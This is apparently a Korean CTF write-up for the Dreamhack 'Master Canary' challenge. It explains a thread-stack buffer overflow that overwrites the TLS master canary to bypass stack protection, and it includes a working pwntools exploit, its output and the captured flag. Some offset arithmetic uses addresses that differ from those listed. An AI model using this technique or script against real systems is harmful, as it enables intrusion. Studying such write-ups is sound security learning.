Description
Exploit Tech: Master Canary에서 실습하는 문제입니다.
checksec
seo@seo:~/Desktop/Master_Canary$ checksec ./mc_thread [*] '/home/seo/Desktop/Master_Canary/mc_thread' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Source Code
mc_thread.c
// Name: mc_thread.c // Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> void giveshell() { execve("/bin/sh", 0, 0); } void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } void read_bytes(char *buf, int size) { int i; for (i = 0; i < size; i++) if (read(0, buf + i*8, 8) < 8) return; } void thread_routine() { char buf[256]; int size = 0; printf("Size: "); scanf("%d", &size); printf("Data: "); read_bytes(buf, size); } int main() { pthread_t thread_t; init(); if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) { perror("thread create error:"); exit(0); } pthread_join(thread_t, 0); return 0; }
thread_routine 함수에서 buf로부터 사용자 입력을 받을 수 있는데,
이때 입력받을 수 있는 크기를 지정할 수 있다.
256바이트만큼 buf 크기가 할당되어있으나, 입력받을 수 있는 크기를 마음대로 지정할 수 있어
버퍼 오버플로우 취약점을 발생시킬 수 있다.
Solution
pthread_create로 쓰레드를 생성하면,
https://github.com/bminor/glibc/blob/glibc-2.35/nptl/pthread_create.c#L705
마스터 카나리인 tcbhead_t 구조체의 stack_guard(master canary)를 복사하여 사용하기 때문에
이것을 덮어써 마스터 카나리를 원하는 값으로 조작할 수 있다.
일반적인 경우 스택은 쓰레드가 각각 가지고 있는 저장소인 TLS보다 더 높은 주소에 워치하며 불가능하지만.
쓰레드 스택에서는 마스커 카나리를 덮어써서 Stack Smash Protection 보호기법을 우회할 수 있다.
buf의 주소 = 0x7fe5a69fed40
마스터 카나리의 주소 = 0x7fe5a69ff668
떨어져있는 거리 = hex(0x7f8ba67ff668 – 0x7f8ba67fed40) = ‘0x928’
실제 buf의 크기 = 264
https://github.com/bminor/glibc/blob/glibc-2.35/nptl/cancellation.c#L63
void __pthread_disable_asynccancel (int oldtype) { /* If asynchronous cancellation was enabled before we do not have anything to do. */ if (oldtype == PTHREAD_CANCEL_ASYNCHRONOUS) return; struct pthread *self = THREAD_SELF; self->canceltype = PTHREAD_CANCEL_DEFERRED; }
self->canceltype = PTHREAD_CANCEL_DEFERRED;
self->canceltype에 접근하여 해당 메모리에 PTHREAD_CANCEL_DEFERRED를 쓸려고 하기 때문에 유효한 메모리 주소를 갖추어야 한다.
buf의 주소 = 0x7ffff7bfed40
self의 주소 = 0x7ffff7bff650
둘의 거리차이를 계산하면
0x7ffff7bff650 – 0x7ffff7bfed40 = 0x910 (buf와 $fs_base->header.self의 주소 거리 차이)
따라서 self를 주소를 조작하여 elf->canceltype을 유효한 메모리 주소를 가리키도록 만들어야 된다.
필자는 bss 영역주소를 사용했다.
solve.py
서버환경이 로컬과 다르기에 대충 어느 오프셋에 넣어야될지 몰라 e.bss() 주소를 마구 넣어주었다.
그리고 마스터 카나리 뒤에 더미 바이트를 추가시켜야 가능했다.
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote("host3.dreamhack.games", "8414") #p = process("./mc_thread") e = ELF("./mc_thread", checksec=False) #local # payload = b"A"*264 #buf # payload += b"B"*8 #canary # payload += b"C"*8 #rbp # payload += p64(e.symbols["giveshell"]) # payload += b"D"*(0x910 - len(payload)) # payload += p64(e.bss()) #self # payload += b"E"*0x10 # payload += b"B"*8 #master canary #server payload = b"A"*264 #buf payload += b"B"*8 #canary payload += b"C"*8 #rbp payload += p64(e.symbols["giveshell"]) payload += p64(e.bss())*int((0x910 - len(payload)) / 8) #b"D"*(0x910 - len(payload)) payload += p64(e.bss()) # self payload += p64(e.bss())*2 #b"E"*0x10 payload += b"B"*8 # master canary payload += b'A'*568 # dummy bytes p.sendlineafter("Size: ", str(len(payload))) p.sendlineafter("Data: ", payload) p.interactive()
Result
seo@seo:~/Desktop/Master_Canary$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 8414: Done [*] Switching to interactive mode $ ls flag mc_thread $ cat flag DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18} $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 8414